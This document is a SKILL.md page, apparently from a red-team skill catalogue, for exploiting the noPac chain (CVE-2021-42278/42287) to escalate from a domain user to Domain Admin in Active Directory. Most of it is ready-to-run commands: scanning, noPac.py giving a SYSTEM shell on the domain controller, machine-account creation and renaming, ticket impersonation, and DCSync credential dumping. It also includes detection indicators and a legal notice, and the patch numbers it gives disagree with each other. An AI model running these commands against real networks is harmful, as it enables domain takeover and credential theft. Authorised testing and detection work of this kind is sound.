菜单
Exploit the noPac vulnerability chain (CVE-2021-42278 sAMAccountName spoofing and CVE-2021-42287 KDC PAC confusion) to escalate from standard domain user to Domain Admin in Active Directory environments.
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Use when retiring old logic, collapsing duplicate owners, removing fallbacks, or touching schema, persistence, or source-of-truth boundaries while deciding whether to delete old paths, retain compatibility, or stop for confirmation.
Use when defining new features, product behavior, UI/component design, architecture choices, contract changes, or ambiguous medium/high-complexity work before implementation.
Use when the user asks for caveman mode, fewer tokens, brief responses, compressed communication, or otherwise explicitly requests a much shorter answer.
基于 SOC 职业分类
正在显示 SKILL.md
| name | nopa-cve-2021-4227-4228 |
| description | Exploit the noPac vulnerability chain (CVE-2021-42278 sAMAccountName spoofing and CVE-2021-42287 KDC PAC confusion) to escalate from standard domain user to Domain Admin in Active Directory environments. |
| domain | cybersecurity |
| subdomain | red-teaming |
| tags | ["red-team","active-directory","nopac","cve-2021-42278","cve-2021-42287","privilege-escalation","domain-escalation"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
| d3fend_techniques | ["Platform Monitoring","Process Code Segment Verification","Stack Frame Canary Validation","Segment Address Offset Randomization","Process Analysis"] |
| nist_csf | ["ID.RA-01","GV.OV-02","DE.AE-07"] |
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
noPac is a critical exploit chain combining two Active Directory vulnerabilities: CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion). Together, they allow any authenticated domain user to escalate to Domain Admin privileges, potentially achieving full domain compromise in under 60 seconds. CVE-2021-42278 allows an attacker to modify a machine account's sAMAccountName attribute to match a Domain Controller's name (minus the trailing $). CVE-2021-42287 exploits a flaw in the Kerberos PAC validation where the KDC, unable to find the renamed account, falls back to appending $ and issues a ticket for the Domain Controller account. Microsoft patched both vulnerabilities in November 2021 (KB5008380 and KB5008602), but many environments remain unpatched. The exploit was publicly released by cube0x0 and Ridter in December 2021.
# Using cube0x0's noPac scanner
python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1
# Using CrackMapExec module
crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac
# Check MachineAccountQuota via LDAP
python3 -c "
import ldap3
server = ldap3.Server('10.10.10.1')
conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True)
conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])
print(conn.entries[0]['ms-DS-MachineAccountQuota'])
"
# Using cube0x0's noPac (gets a shell on the DC)
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
-dc-host DC01 -shell --impersonate administrator -use-ldap
# Using Ridter's noPac (alternative implementation)
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
--impersonate administrator -dump
# DCSync using secretsdump.py with the Kerberos ticket
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
# Or directly through the noPac shell
# The shell runs as SYSTEM on the DC
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
-dc-host DC01 -shell --impersonate administrator -use-ldap
addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
# Rename machine account sAMAccountName to DC name (without $)
renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123'
renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
export KRB5CCNAME=DC01.ccache
getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \
-k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'
| Tool | Purpose | Platform |
|---|---|---|
| noPac (cube0x0) | Automated scanner and exploiter | Python |
| noPac (Ridter) | Alternative exploit implementation | Python |
| Impacket | Kerberos ticket manipulation, DCSync | Python |
| CrackMapExec | Vulnerability scanning module | Python |
| Rubeus | Windows Kerberos ticket operations | Windows (.NET) |
| secretsdump.py | Post-exploitation credential dumping | Python |
| CVE | Description | CVSS | Patch |
|---|---|---|---|
| CVE-2021-42278 | sAMAccountName spoofing (machine accounts) | 7.5 | KB5008102 |
| CVE-2021-42287 | KDC PAC confusion / privilege escalation | 7.5 | KB5008380 |
| Indicator | Detection Method |
|---|---|
| Machine account sAMAccountName change | Event 4742 (computer account changed) with sAMAccountName modification |
| New machine account creation | Event 4741 (computer object created) |
| TGT request for account without trailing $ | Kerberos audit log analysis |
| S4U2self requests from non-DC machine accounts | Event 4769 with unusual service ticket requests |
| Rapid sequence: create account, rename, request TGT | SIEM correlation rule for noPac attack pattern |